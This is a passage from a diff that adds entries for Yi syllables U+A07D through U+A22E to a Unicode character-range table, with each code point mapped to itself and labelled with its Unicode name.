+ ["\uA07D", "\uA07D"], /* YI SYLLABLE NBAT */
+ ["\uA07E", "\uA07E"], /* YI SYLLABLE NBAX */
+ ["\uA07F", "\uA07F"], /* YI SYLLABLE NBA */
+ ["\uA080", "\uA080"], /* YI SYLLABLE NBAP */
+ ["\uA081", "\uA081"], /* YI SYLLABLE NBOT */
+ ["\uA082", "\uA082"], /* YI SYLLABLE NBOX */
+ ["\uA083", "\uA083"], /* YI SYLLABLE NBO */
+ ["\uA084", "\uA084"], /* YI SYLLABLE NBOP */
+ ["\uA085", "\uA085"], /* YI SYLLABLE NBUT */
+ ["\uA086", "\uA086"], /* YI SYLLABLE NBUX */
+ ["\uA087", "\uA087"], /* YI SYLLABLE NBU */
+ ["\uA088", "\uA088"], /* YI SYLLABLE NBUP */
+ ["\uA089", "\uA089"], /* YI SYLLABLE NBURX */
+ ["\uA08A", "\uA08A"], /* YI SYLLABLE NBUR */
+ ["\uA08B", "\uA08B"], /* YI SYLLABLE NBYT */
+ ["\uA08C", "\uA08C"], /* YI SYLLABLE NBYX */
+ ["\uA08D", "\uA08D"], /* YI SYLLABLE NBY */
+ ["\uA08E", "\uA08E"], /* YI SYLLABLE NBYP */
+ ["\uA08F", "\uA08F"], /* YI SYLLABLE NBYRX */
+ ["\uA090", "\uA090"], /* YI SYLLABLE NBYR */
+ ["\uA091", "\uA091"], /* YI SYLLABLE HMIT */
+ ["\uA092", "\uA092"], /* YI SYLLABLE HMIX */
+ ["\uA093", "\uA093"], /* YI SYLLABLE HMI */
+ ["\uA094", "\uA094"], /* YI SYLLABLE HMIP */
+ ["\uA095", "\uA095"], /* YI SYLLABLE HMIEX */
+ ["\uA096", "\uA096"], /* YI SYLLABLE HMIE */
+ ["\uA097", "\uA097"], /* YI SYLLABLE HMIEP */
+ ["\uA098", "\uA098"], /* YI SYLLABLE HMAT */
+ ["\uA099", "\uA099"], /* YI SYLLABLE HMAX */
+ ["\uA09A", "\uA09A"], /* YI SYLLABLE HMA */
+ ["\uA09B", "\uA09B"], /* YI SYLLABLE HMAP */
+ ["\uA09C", "\uA09C"], /* YI SYLLABLE HMUOX */
+ ["\uA09D", "\uA09D"], /* YI SYLLABLE HMUO */
+ ["\uA09E", "\uA09E"], /* YI SYLLABLE HMUOP */
+ ["\uA09F", "\uA09F"], /* YI SYLLABLE HMOT */
+ ["\uA0A0", "\uA0A0"], /* YI SYLLABLE HMOX */
+ ["\uA0A1", "\uA0A1"], /* YI SYLLABLE HMO */
+ ["\uA0A2", "\uA0A2"], /* YI SYLLABLE HMOP */
+ ["\uA0A3", "\uA0A3"], /* YI SYLLABLE HMUT */
+ ["\uA0A4", "\uA0A4"], /* YI SYLLABLE HMUX */
+ ["\uA0A5", "\uA0A5"], /* YI SYLLABLE HMU */
+ ["\uA0A6", "\uA0A6"], /* YI SYLLABLE HMUP */
+ ["\uA0A7", "\uA0A7"], /* YI SYLLABLE HMURX */
+ ["\uA0A8", "\uA0A8"], /* YI SYLLABLE HMUR */
+ ["\uA0A9", "\uA0A9"], /* YI SYLLABLE HMYX */
+ ["\uA0AA", "\uA0AA"], /* YI SYLLABLE HMY */
+ ["\uA0AB", "\uA0AB"], /* YI SYLLABLE HMYP */
+ ["\uA0AC", "\uA0AC"], /* YI SYLLABLE HMYRX */
+ ["\uA0AD", "\uA0AD"], /* YI SYLLABLE HMYR */
+ ["\uA0AE", "\uA0AE"], /* YI SYLLABLE MIT */
+ ["\uA0AF", "\uA0AF"], /* YI SYLLABLE MIX */
+ ["\uA0B0", "\uA0B0"], /* YI SYLLABLE MI */
+ ["\uA0B1", "\uA0B1"], /* YI SYLLABLE MIP */
+ ["\uA0B2", "\uA0B2"], /* YI SYLLABLE MIEX */
+ ["\uA0B3", "\uA0B3"], /* YI SYLLABLE MIE */
+ ["\uA0B4", "\uA0B4"], /* YI SYLLABLE MIEP */
+ ["\uA0B5", "\uA0B5"], /* YI SYLLABLE MAT */
+ ["\uA0B6", "\uA0B6"], /* YI SYLLABLE MAX */
+ ["\uA0B7", "\uA0B7"], /* YI SYLLABLE MA */
+ ["\uA0B8", "\uA0B8"], /* YI SYLLABLE MAP */
+ ["\uA0B9", "\uA0B9"], /* YI SYLLABLE MUOT */
+ ["\uA0BA", "\uA0BA"], /* YI SYLLABLE MUOX */
+ ["\uA0BB", "\uA0BB"], /* YI SYLLABLE MUO */
+ ["\uA0BC", "\uA0BC"], /* YI SYLLABLE MUOP */
+ ["\uA0BD", "\uA0BD"], /* YI SYLLABLE MOT */
+ ["\uA0BE", "\uA0BE"], /* YI SYLLABLE MOX */
+ ["\uA0BF", "\uA0BF"], /* YI SYLLABLE MO */
+ ["\uA0C0", "\uA0C0"], /* YI SYLLABLE MOP */
+ ["\uA0C1", "\uA0C1"], /* YI SYLLABLE MEX */
+ ["\uA0C2", "\uA0C2"], /* YI SYLLABLE ME */
+ ["\uA0C3", "\uA0C3"], /* YI SYLLABLE MUT */
+ ["\uA0C4", "\uA0C4"], /* YI SYLLABLE MUX */
+ ["\uA0C5", "\uA0C5"], /* YI SYLLABLE MU */
+ ["\uA0C6", "\uA0C6"], /* YI SYLLABLE MUP */
+ ["\uA0C7", "\uA0C7"], /* YI SYLLABLE MURX */
+ ["\uA0C8", "\uA0C8"], /* YI SYLLABLE MUR */
+ ["\uA0C9", "\uA0C9"], /* YI SYLLABLE MYT */
+ ["\uA0CA", "\uA0CA"], /* YI SYLLABLE MYX */
+ ["\uA0CB", "\uA0CB"], /* YI SYLLABLE MY */
+ ["\uA0CC", "\uA0CC"], /* YI SYLLABLE MYP */
+ ["\uA0CD", "\uA0CD"], /* YI SYLLABLE FIT */
+ ["\uA0CE", "\uA0CE"], /* YI SYLLABLE FIX */
+ ["\uA0CF", "\uA0CF"], /* YI SYLLABLE FI */
+ ["\uA0D0", "\uA0D0"], /* YI SYLLABLE FIP */
+ ["\uA0D1", "\uA0D1"], /* YI SYLLABLE FAT */
+ ["\uA0D2", "\uA0D2"], /* YI SYLLABLE FAX */
+ ["\uA0D3", "\uA0D3"], /* YI SYLLABLE FA */
+ ["\uA0D4", "\uA0D4"], /* YI SYLLABLE FAP */
+ ["\uA0D5", "\uA0D5"], /* YI SYLLABLE FOX */
+ ["\uA0D6", "\uA0D6"], /* YI SYLLABLE FO */
+ ["\uA0D7", "\uA0D7"], /* YI SYLLABLE FOP */
+ ["\uA0D8", "\uA0D8"], /* YI SYLLABLE FUT */
+ ["\uA0D9", "\uA0D9"], /* YI SYLLABLE FUX */
+ ["\uA0DA", "\uA0DA"], /* YI SYLLABLE FU */
+ ["\uA0DB", "\uA0DB"], /* YI SYLLABLE FUP */
+ ["\uA0DC", "\uA0DC"], /* YI SYLLABLE FURX */
+ ["\uA0DD", "\uA0DD"], /* YI SYLLABLE FUR */
+ ["\uA0DE", "\uA0DE"], /* YI SYLLABLE FYT */
+ ["\uA0DF", "\uA0DF"], /* YI SYLLABLE FYX */
+ ["\uA0E0", "\uA0E0"], /* YI SYLLABLE FY */
+ ["\uA0E1", "\uA0E1"], /* YI SYLLABLE FYP */
+ ["\uA0E2", "\uA0E2"], /* YI SYLLABLE VIT */
+ ["\uA0E3", "\uA0E3"], /* YI SYLLABLE VIX */
+ ["\uA0E4", "\uA0E4"], /* YI SYLLABLE VI */
+ ["\uA0E5", "\uA0E5"], /* YI SYLLABLE VIP */
+ ["\uA0E6", "\uA0E6"], /* YI SYLLABLE VIET */
+ ["\uA0E7", "\uA0E7"], /* YI SYLLABLE VIEX */
+ ["\uA0E8", "\uA0E8"], /* YI SYLLABLE VIE */
+ ["\uA0E9", "\uA0E9"], /* YI SYLLABLE VIEP */
+ ["\uA0EA", "\uA0EA"], /* YI SYLLABLE VAT */
+ ["\uA0EB", "\uA0EB"], /* YI SYLLABLE VAX */
+ ["\uA0EC", "\uA0EC"], /* YI SYLLABLE VA */
+ ["\uA0ED", "\uA0ED"], /* YI SYLLABLE VAP */
+ ["\uA0EE", "\uA0EE"], /* YI SYLLABLE VOT */
+ ["\uA0EF", "\uA0EF"], /* YI SYLLABLE VOX */
+ ["\uA0F0", "\uA0F0"], /* YI SYLLABLE VO */
+ ["\uA0F1", "\uA0F1"], /* YI SYLLABLE VOP */
+ ["\uA0F2", "\uA0F2"], /* YI SYLLABLE VEX */
+ ["\uA0F3", "\uA0F3"], /* YI SYLLABLE VEP */
+ ["\uA0F4", "\uA0F4"], /* YI SYLLABLE VUT */
+ ["\uA0F5", "\uA0F5"], /* YI SYLLABLE VUX */
+ ["\uA0F6", "\uA0F6"], /* YI SYLLABLE VU */
+ ["\uA0F7", "\uA0F7"], /* YI SYLLABLE VUP */
+ ["\uA0F8", "\uA0F8"], /* YI SYLLABLE VURX */
+ ["\uA0F9", "\uA0F9"], /* YI SYLLABLE VUR */
+ ["\uA0FA", "\uA0FA"], /* YI SYLLABLE VYT */
+ ["\uA0FB", "\uA0FB"], /* YI SYLLABLE VYX */
+ ["\uA0FC", "\uA0FC"], /* YI SYLLABLE VY */
+ ["\uA0FD", "\uA0FD"], /* YI SYLLABLE VYP */
+ ["\uA0FE", "\uA0FE"], /* YI SYLLABLE VYRX */
+ ["\uA0FF", "\uA0FF"], /* YI SYLLABLE VYR */
+ ["\uA100", "\uA100"], /* YI SYLLABLE DIT */
+ ["\uA101", "\uA101"], /* YI SYLLABLE DIX */
+ ["\uA102", "\uA102"], /* YI SYLLABLE DI */
+ ["\uA103", "\uA103"], /* YI SYLLABLE DIP */
+ ["\uA104", "\uA104"], /* YI SYLLABLE DIEX */
+ ["\uA105", "\uA105"], /* YI SYLLABLE DIE */
+ ["\uA106", "\uA106"], /* YI SYLLABLE DIEP */
+ ["\uA107", "\uA107"], /* YI SYLLABLE DAT */
+ ["\uA108", "\uA108"], /* YI SYLLABLE DAX */
+ ["\uA109", "\uA109"], /* YI SYLLABLE DA */
+ ["\uA10A", "\uA10A"], /* YI SYLLABLE DAP */
+ ["\uA10B", "\uA10B"], /* YI SYLLABLE DUOX */
+ ["\uA10C", "\uA10C"], /* YI SYLLABLE DUO */
+ ["\uA10D", "\uA10D"], /* YI SYLLABLE DOT */
+ ["\uA10E", "\uA10E"], /* YI SYLLABLE DOX */
+ ["\uA10F", "\uA10F"], /* YI SYLLABLE DO */
+ ["\uA110", "\uA110"], /* YI SYLLABLE DOP */
+ ["\uA111", "\uA111"], /* YI SYLLABLE DEX */
+ ["\uA112", "\uA112"], /* YI SYLLABLE DE */
+ ["\uA113", "\uA113"], /* YI SYLLABLE DEP */
+ ["\uA114", "\uA114"], /* YI SYLLABLE DUT */
+ ["\uA115", "\uA115"], /* YI SYLLABLE DUX */
+ ["\uA116", "\uA116"], /* YI SYLLABLE DU */
+ ["\uA117", "\uA117"], /* YI SYLLABLE DUP */
+ ["\uA118", "\uA118"], /* YI SYLLABLE DURX */
+ ["\uA119", "\uA119"], /* YI SYLLABLE DUR */
+ ["\uA11A", "\uA11A"], /* YI SYLLABLE TIT */
+ ["\uA11B", "\uA11B"], /* YI SYLLABLE TIX */
+ ["\uA11C", "\uA11C"], /* YI SYLLABLE TI */
+ ["\uA11D", "\uA11D"], /* YI SYLLABLE TIP */
+ ["\uA11E", "\uA11E"], /* YI SYLLABLE TIEX */
+ ["\uA11F", "\uA11F"], /* YI SYLLABLE TIE */
+ ["\uA120", "\uA120"], /* YI SYLLABLE TIEP */
+ ["\uA121", "\uA121"], /* YI SYLLABLE TAT */
+ ["\uA122", "\uA122"], /* YI SYLLABLE TAX */
+ ["\uA123", "\uA123"], /* YI SYLLABLE TA */
+ ["\uA124", "\uA124"], /* YI SYLLABLE TAP */
+ ["\uA125", "\uA125"], /* YI SYLLABLE TUOT */
+ ["\uA126", "\uA126"], /* YI SYLLABLE TUOX */
+ ["\uA127", "\uA127"], /* YI SYLLABLE TUO */
+ ["\uA128", "\uA128"], /* YI SYLLABLE TUOP */
+ ["\uA129", "\uA129"], /* YI SYLLABLE TOT */
+ ["\uA12A", "\uA12A"], /* YI SYLLABLE TOX */
+ ["\uA12B", "\uA12B"], /* YI SYLLABLE TO */
+ ["\uA12C", "\uA12C"], /* YI SYLLABLE TOP */
+ ["\uA12D", "\uA12D"], /* YI SYLLABLE TEX */
+ ["\uA12E", "\uA12E"], /* YI SYLLABLE TE */
+ ["\uA12F", "\uA12F"], /* YI SYLLABLE TEP */
+ ["\uA130", "\uA130"], /* YI SYLLABLE TUT */
+ ["\uA131", "\uA131"], /* YI SYLLABLE TUX */
+ ["\uA132", "\uA132"], /* YI SYLLABLE TU */
+ ["\uA133", "\uA133"], /* YI SYLLABLE TUP */
+ ["\uA134", "\uA134"], /* YI SYLLABLE TURX */
+ ["\uA135", "\uA135"], /* YI SYLLABLE TUR */
+ ["\uA136", "\uA136"], /* YI SYLLABLE DDIT */
+ ["\uA137", "\uA137"], /* YI SYLLABLE DDIX */
+ ["\uA138", "\uA138"], /* YI SYLLABLE DDI */
+ ["\uA139", "\uA139"], /* YI SYLLABLE DDIP */
+ ["\uA13A", "\uA13A"], /* YI SYLLABLE DDIEX */
+ ["\uA13B", "\uA13B"], /* YI SYLLABLE DDIE */
+ ["\uA13C", "\uA13C"], /* YI SYLLABLE DDIEP */
+ ["\uA13D", "\uA13D"], /* YI SYLLABLE DDAT */
+ ["\uA13E", "\uA13E"], /* YI SYLLABLE DDAX */
+ ["\uA13F", "\uA13F"], /* YI SYLLABLE DDA */
+ ["\uA140", "\uA140"], /* YI SYLLABLE DDAP */
+ ["\uA141", "\uA141"], /* YI SYLLABLE DDUOX */
+ ["\uA142", "\uA142"], /* YI SYLLABLE DDUO */
+ ["\uA143", "\uA143"], /* YI SYLLABLE DDUOP */
+ ["\uA144", "\uA144"], /* YI SYLLABLE DDOT */
+ ["\uA145", "\uA145"], /* YI SYLLABLE DDOX */
+ ["\uA146", "\uA146"], /* YI SYLLABLE DDO */
+ ["\uA147", "\uA147"], /* YI SYLLABLE DDOP */
+ ["\uA148", "\uA148"], /* YI SYLLABLE DDEX */
+ ["\uA149", "\uA149"], /* YI SYLLABLE DDE */
+ ["\uA14A", "\uA14A"], /* YI SYLLABLE DDEP */
+ ["\uA14B", "\uA14B"], /* YI SYLLABLE DDUT */
+ ["\uA14C", "\uA14C"], /* YI SYLLABLE DDUX */
+ ["\uA14D", "\uA14D"], /* YI SYLLABLE DDU */
+ ["\uA14E", "\uA14E"], /* YI SYLLABLE DDUP */
+ ["\uA14F", "\uA14F"], /* YI SYLLABLE DDURX */
+ ["\uA150", "\uA150"], /* YI SYLLABLE DDUR */
+ ["\uA151", "\uA151"], /* YI SYLLABLE NDIT */
+ ["\uA152", "\uA152"], /* YI SYLLABLE NDIX */
+ ["\uA153", "\uA153"], /* YI SYLLABLE NDI */
+ ["\uA154", "\uA154"], /* YI SYLLABLE NDIP */
+ ["\uA155", "\uA155"], /* YI SYLLABLE NDIEX */
+ ["\uA156", "\uA156"], /* YI SYLLABLE NDIE */
+ ["\uA157", "\uA157"], /* YI SYLLABLE NDAT */
+ ["\uA158", "\uA158"], /* YI SYLLABLE NDAX */
+ ["\uA159", "\uA159"], /* YI SYLLABLE NDA */
+ ["\uA15A", "\uA15A"], /* YI SYLLABLE NDAP */
+ ["\uA15B", "\uA15B"], /* YI SYLLABLE NDOT */
+ ["\uA15C", "\uA15C"], /* YI SYLLABLE NDOX */
+ ["\uA15D", "\uA15D"], /* YI SYLLABLE NDO */
+ ["\uA15E", "\uA15E"], /* YI SYLLABLE NDOP */
+ ["\uA15F", "\uA15F"], /* YI SYLLABLE NDEX */
+ ["\uA160", "\uA160"], /* YI SYLLABLE NDE */
+ ["\uA161", "\uA161"], /* YI SYLLABLE NDEP */
+ ["\uA162", "\uA162"], /* YI SYLLABLE NDUT */
+ ["\uA163", "\uA163"], /* YI SYLLABLE NDUX */
+ ["\uA164", "\uA164"], /* YI SYLLABLE NDU */
+ ["\uA165", "\uA165"], /* YI SYLLABLE NDUP */
+ ["\uA166", "\uA166"], /* YI SYLLABLE NDURX */
+ ["\uA167", "\uA167"], /* YI SYLLABLE NDUR */
+ ["\uA168", "\uA168"], /* YI SYLLABLE HNIT */
+ ["\uA169", "\uA169"], /* YI SYLLABLE HNIX */
+ ["\uA16A", "\uA16A"], /* YI SYLLABLE HNI */
+ ["\uA16B", "\uA16B"], /* YI SYLLABLE HNIP */
+ ["\uA16C", "\uA16C"], /* YI SYLLABLE HNIET */
+ ["\uA16D", "\uA16D"], /* YI SYLLABLE HNIEX */
+ ["\uA16E", "\uA16E"], /* YI SYLLABLE HNIE */
+ ["\uA16F", "\uA16F"], /* YI SYLLABLE HNIEP */
+ ["\uA170", "\uA170"], /* YI SYLLABLE HNAT */
+ ["\uA171", "\uA171"], /* YI SYLLABLE HNAX */
+ ["\uA172", "\uA172"], /* YI SYLLABLE HNA */
+ ["\uA173", "\uA173"], /* YI SYLLABLE HNAP */
+ ["\uA174", "\uA174"], /* YI SYLLABLE HNUOX */
+ ["\uA175", "\uA175"], /* YI SYLLABLE HNUO */
+ ["\uA176", "\uA176"], /* YI SYLLABLE HNOT */
+ ["\uA177", "\uA177"], /* YI SYLLABLE HNOX */
+ ["\uA178", "\uA178"], /* YI SYLLABLE HNOP */
+ ["\uA179", "\uA179"], /* YI SYLLABLE HNEX */
+ ["\uA17A", "\uA17A"], /* YI SYLLABLE HNE */
+ ["\uA17B", "\uA17B"], /* YI SYLLABLE HNEP */
+ ["\uA17C", "\uA17C"], /* YI SYLLABLE HNUT */
+ ["\uA17D", "\uA17D"], /* YI SYLLABLE NIT */
+ ["\uA17E", "\uA17E"], /* YI SYLLABLE NIX */
+ ["\uA17F", "\uA17F"], /* YI SYLLABLE NI */
+ ["\uA180", "\uA180"], /* YI SYLLABLE NIP */
+ ["\uA181", "\uA181"], /* YI SYLLABLE NIEX */
+ ["\uA182", "\uA182"], /* YI SYLLABLE NIE */
+ ["\uA183", "\uA183"], /* YI SYLLABLE NIEP */
+ ["\uA184", "\uA184"], /* YI SYLLABLE NAX */
+ ["\uA185", "\uA185"], /* YI SYLLABLE NA */
+ ["\uA186", "\uA186"], /* YI SYLLABLE NAP */
+ ["\uA187", "\uA187"], /* YI SYLLABLE NUOX */
+ ["\uA188", "\uA188"], /* YI SYLLABLE NUO */
+ ["\uA189", "\uA189"], /* YI SYLLABLE NUOP */
+ ["\uA18A", "\uA18A"], /* YI SYLLABLE NOT */
+ ["\uA18B", "\uA18B"], /* YI SYLLABLE NOX */
+ ["\uA18C", "\uA18C"], /* YI SYLLABLE NO */
+ ["\uA18D", "\uA18D"], /* YI SYLLABLE NOP */
+ ["\uA18E", "\uA18E"], /* YI SYLLABLE NEX */
+ ["\uA18F", "\uA18F"], /* YI SYLLABLE NE */
+ ["\uA190", "\uA190"], /* YI SYLLABLE NEP */
+ ["\uA191", "\uA191"], /* YI SYLLABLE NUT */
+ ["\uA192", "\uA192"], /* YI SYLLABLE NUX */
+ ["\uA193", "\uA193"], /* YI SYLLABLE NU */
+ ["\uA194", "\uA194"], /* YI SYLLABLE NUP */
+ ["\uA195", "\uA195"], /* YI SYLLABLE NURX */
+ ["\uA196", "\uA196"], /* YI SYLLABLE NUR */
+ ["\uA197", "\uA197"], /* YI SYLLABLE HLIT */
+ ["\uA198", "\uA198"], /* YI SYLLABLE HLIX */
+ ["\uA199", "\uA199"], /* YI SYLLABLE HLI */
+ ["\uA19A", "\uA19A"], /* YI SYLLABLE HLIP */
+ ["\uA19B", "\uA19B"], /* YI SYLLABLE HLIEX */
+ ["\uA19C", "\uA19C"], /* YI SYLLABLE HLIE */
+ ["\uA19D", "\uA19D"], /* YI SYLLABLE HLIEP */
+ ["\uA19E", "\uA19E"], /* YI SYLLABLE HLAT */
+ ["\uA19F", "\uA19F"], /* YI SYLLABLE HLAX */
+ ["\uA1A0", "\uA1A0"], /* YI SYLLABLE HLA */
+ ["\uA1A1", "\uA1A1"], /* YI SYLLABLE HLAP */
+ ["\uA1A2", "\uA1A2"], /* YI SYLLABLE HLUOX */
+ ["\uA1A3", "\uA1A3"], /* YI SYLLABLE HLUO */
+ ["\uA1A4", "\uA1A4"], /* YI SYLLABLE HLUOP */
+ ["\uA1A5", "\uA1A5"], /* YI SYLLABLE HLOX */
+ ["\uA1A6", "\uA1A6"], /* YI SYLLABLE HLO */
+ ["\uA1A7", "\uA1A7"], /* YI SYLLABLE HLOP */
+ ["\uA1A8", "\uA1A8"], /* YI SYLLABLE HLEX */
+ ["\uA1A9", "\uA1A9"], /* YI SYLLABLE HLE */
+ ["\uA1AA", "\uA1AA"], /* YI SYLLABLE HLEP */
+ ["\uA1AB", "\uA1AB"], /* YI SYLLABLE HLUT */
+ ["\uA1AC", "\uA1AC"], /* YI SYLLABLE HLUX */
+ ["\uA1AD", "\uA1AD"], /* YI SYLLABLE HLU */
+ ["\uA1AE", "\uA1AE"], /* YI SYLLABLE HLUP */
+ ["\uA1AF", "\uA1AF"], /* YI SYLLABLE HLURX */
+ ["\uA1B0", "\uA1B0"], /* YI SYLLABLE HLUR */
+ ["\uA1B1", "\uA1B1"], /* YI SYLLABLE HLYT */
+ ["\uA1B2", "\uA1B2"], /* YI SYLLABLE HLYX */
+ ["\uA1B3", "\uA1B3"], /* YI SYLLABLE HLY */
+ ["\uA1B4", "\uA1B4"], /* YI SYLLABLE HLYP */
+ ["\uA1B5", "\uA1B5"], /* YI SYLLABLE HLYRX */
+ ["\uA1B6", "\uA1B6"], /* YI SYLLABLE HLYR */
+ ["\uA1B7", "\uA1B7"], /* YI SYLLABLE LIT */
+ ["\uA1B8", "\uA1B8"], /* YI SYLLABLE LIX */
+ ["\uA1B9", "\uA1B9"], /* YI SYLLABLE LI */
+ ["\uA1BA", "\uA1BA"], /* YI SYLLABLE LIP */
+ ["\uA1BB", "\uA1BB"], /* YI SYLLABLE LIET */
+ ["\uA1BC", "\uA1BC"], /* YI SYLLABLE LIEX */
+ ["\uA1BD", "\uA1BD"], /* YI SYLLABLE LIE */
+ ["\uA1BE", "\uA1BE"], /* YI SYLLABLE LIEP */
+ ["\uA1BF", "\uA1BF"], /* YI SYLLABLE LAT */
+ ["\uA1C0", "\uA1C0"], /* YI SYLLABLE LAX */
+ ["\uA1C1", "\uA1C1"], /* YI SYLLABLE LA */
+ ["\uA1C2", "\uA1C2"], /* YI SYLLABLE LAP */
+ ["\uA1C3", "\uA1C3"], /* YI SYLLABLE LUOT */
+ ["\uA1C4", "\uA1C4"], /* YI SYLLABLE LUOX */
+ ["\uA1C5", "\uA1C5"], /* YI SYLLABLE LUO */
+ ["\uA1C6", "\uA1C6"], /* YI SYLLABLE LUOP */
+ ["\uA1C7", "\uA1C7"], /* YI SYLLABLE LOT */
+ ["\uA1C8", "\uA1C8"], /* YI SYLLABLE LOX */
+ ["\uA1C9", "\uA1C9"], /* YI SYLLABLE LO */
+ ["\uA1CA", "\uA1CA"], /* YI SYLLABLE LOP */
+ ["\uA1CB", "\uA1CB"], /* YI SYLLABLE LEX */
+ ["\uA1CC", "\uA1CC"], /* YI SYLLABLE LE */
+ ["\uA1CD", "\uA1CD"], /* YI SYLLABLE LEP */
+ ["\uA1CE", "\uA1CE"], /* YI SYLLABLE LUT */
+ ["\uA1CF", "\uA1CF"], /* YI SYLLABLE LUX */
+ ["\uA1D0", "\uA1D0"], /* YI SYLLABLE LU */
+ ["\uA1D1", "\uA1D1"], /* YI SYLLABLE LUP */
+ ["\uA1D2", "\uA1D2"], /* YI SYLLABLE LURX */
+ ["\uA1D3", "\uA1D3"], /* YI SYLLABLE LUR */
+ ["\uA1D4", "\uA1D4"], /* YI SYLLABLE LYT */
+ ["\uA1D5", "\uA1D5"], /* YI SYLLABLE LYX */
+ ["\uA1D6", "\uA1D6"], /* YI SYLLABLE LY */
+ ["\uA1D7", "\uA1D7"], /* YI SYLLABLE LYP */
+ ["\uA1D8", "\uA1D8"], /* YI SYLLABLE LYRX */
+ ["\uA1D9", "\uA1D9"], /* YI SYLLABLE LYR */
+ ["\uA1DA", "\uA1DA"], /* YI SYLLABLE GIT */
+ ["\uA1DB", "\uA1DB"], /* YI SYLLABLE GIX */
+ ["\uA1DC", "\uA1DC"], /* YI SYLLABLE GI */
+ ["\uA1DD", "\uA1DD"], /* YI SYLLABLE GIP */
+ ["\uA1DE", "\uA1DE"], /* YI SYLLABLE GIET */
+ ["\uA1DF", "\uA1DF"], /* YI SYLLABLE GIEX */
+ ["\uA1E0", "\uA1E0"], /* YI SYLLABLE GIE */
+ ["\uA1E1", "\uA1E1"], /* YI SYLLABLE GIEP */
+ ["\uA1E2", "\uA1E2"], /* YI SYLLABLE GAT */
+ ["\uA1E3", "\uA1E3"], /* YI SYLLABLE GAX */
+ ["\uA1E4", "\uA1E4"], /* YI SYLLABLE GA */
+ ["\uA1E5", "\uA1E5"], /* YI SYLLABLE GAP */
+ ["\uA1E6", "\uA1E6"], /* YI SYLLABLE GUOT */
+ ["\uA1E7", "\uA1E7"], /* YI SYLLABLE GUOX */
+ ["\uA1E8", "\uA1E8"], /* YI SYLLABLE GUO */
+ ["\uA1E9", "\uA1E9"], /* YI SYLLABLE GUOP */
+ ["\uA1EA", "\uA1EA"], /* YI SYLLABLE GOT */
+ ["\uA1EB", "\uA1EB"], /* YI SYLLABLE GOX */
+ ["\uA1EC", "\uA1EC"], /* YI SYLLABLE GO */
+ ["\uA1ED", "\uA1ED"], /* YI SYLLABLE GOP */
+ ["\uA1EE", "\uA1EE"], /* YI SYLLABLE GET */
+ ["\uA1EF", "\uA1EF"], /* YI SYLLABLE GEX */
+ ["\uA1F0", "\uA1F0"], /* YI SYLLABLE GE */
+ ["\uA1F1", "\uA1F1"], /* YI SYLLABLE GEP */
+ ["\uA1F2", "\uA1F2"], /* YI SYLLABLE GUT */
+ ["\uA1F3", "\uA1F3"], /* YI SYLLABLE GUX */
+ ["\uA1F4", "\uA1F4"], /* YI SYLLABLE GU */
+ ["\uA1F5", "\uA1F5"], /* YI SYLLABLE GUP */
+ ["\uA1F6", "\uA1F6"], /* YI SYLLABLE GURX */
+ ["\uA1F7", "\uA1F7"], /* YI SYLLABLE GUR */
+ ["\uA1F8", "\uA1F8"], /* YI SYLLABLE KIT */
+ ["\uA1F9", "\uA1F9"], /* YI SYLLABLE KIX */
+ ["\uA1FA", "\uA1FA"], /* YI SYLLABLE KI */
+ ["\uA1FB", "\uA1FB"], /* YI SYLLABLE KIP */
+ ["\uA1FC", "\uA1FC"], /* YI SYLLABLE KIEX */
+ ["\uA1FD", "\uA1FD"], /* YI SYLLABLE KIE */
+ ["\uA1FE", "\uA1FE"], /* YI SYLLABLE KIEP */
+ ["\uA1FF", "\uA1FF"], /* YI SYLLABLE KAT */
+ ["\uA200", "\uA200"], /* YI SYLLABLE KAX */
+ ["\uA201", "\uA201"], /* YI SYLLABLE KA */
+ ["\uA202", "\uA202"], /* YI SYLLABLE KAP */
+ ["\uA203", "\uA203"], /* YI SYLLABLE KUOX */
+ ["\uA204", "\uA204"], /* YI SYLLABLE KUO */
+ ["\uA205", "\uA205"], /* YI SYLLABLE KUOP */
+ ["\uA206", "\uA206"], /* YI SYLLABLE KOT */
+ ["\uA207", "\uA207"], /* YI SYLLABLE KOX */
+ ["\uA208", "\uA208"], /* YI SYLLABLE KO */
+ ["\uA209", "\uA209"], /* YI SYLLABLE KOP */
+ ["\uA20A", "\uA20A"], /* YI SYLLABLE KET */
+ ["\uA20B", "\uA20B"], /* YI SYLLABLE KEX */
+ ["\uA20C", "\uA20C"], /* YI SYLLABLE KE */
+ ["\uA20D", "\uA20D"], /* YI SYLLABLE KEP */
+ ["\uA20E", "\uA20E"], /* YI SYLLABLE KUT */
+ ["\uA20F", "\uA20F"], /* YI SYLLABLE KUX */
+ ["\uA210", "\uA210"], /* YI SYLLABLE KU */
+ ["\uA211", "\uA211"], /* YI SYLLABLE KUP */
+ ["\uA212", "\uA212"], /* YI SYLLABLE KURX */
+ ["\uA213", "\uA213"], /* YI SYLLABLE KUR */
+ ["\uA214", "\uA214"], /* YI SYLLABLE GGIT */
+ ["\uA215", "\uA215"], /* YI SYLLABLE GGIX */
+ ["\uA216", "\uA216"], /* YI SYLLABLE GGI */
+ ["\uA217", "\uA217"], /* YI SYLLABLE GGIEX */
+ ["\uA218", "\uA218"], /* YI SYLLABLE GGIE */
+ ["\uA219", "\uA219"], /* YI SYLLABLE GGIEP */
+ ["\uA21A", "\uA21A"], /* YI SYLLABLE GGAT */
+ ["\uA21B", "\uA21B"], /* YI SYLLABLE GGAX */
+ ["\uA21C", "\uA21C"], /* YI SYLLABLE GGA */
+ ["\uA21D", "\uA21D"], /* YI SYLLABLE GGAP */
+ ["\uA21E", "\uA21E"], /* YI SYLLABLE GGUOT */
+ ["\uA21F", "\uA21F"], /* YI SYLLABLE GGUOX */
+ ["\uA220", "\uA220"], /* YI SYLLABLE GGUO */
+ ["\uA221", "\uA221"], /* YI SYLLABLE GGUOP */
+ ["\uA222", "\uA222"], /* YI SYLLABLE GGOT */
+ ["\uA223", "\uA223"], /* YI SYLLABLE GGOX */
+ ["\uA224", "\uA224"], /* YI SYLLABLE GGO */
+ ["\uA225", "\uA225"], /* YI SYLLABLE GGOP */
+ ["\uA226", "\uA226"], /* YI SYLLABLE GGET */
+ ["\uA227", "\uA227"], /* YI SYLLABLE GGEX */
+ ["\uA228", "\uA228"], /* YI SYLLABLE GGE */
+ ["\uA229", "\uA229"], /* YI SYLLABLE GGEP */
+ ["\uA22A", "\uA22A"], /* YI SYLLABLE GGUT */
+ ["\uA22B", "\uA22B"], /* YI SYLLABLE GGUX */
+ ["\uA22C", "\uA22C"], /* YI SYLLABLE GGU */
+ ["\uA22D", "\uA22D"], /* YI SYLLABLE GGUP */
+ ["\uA22E", "\uA22E"], /* YI SYLLABLE GGURX */
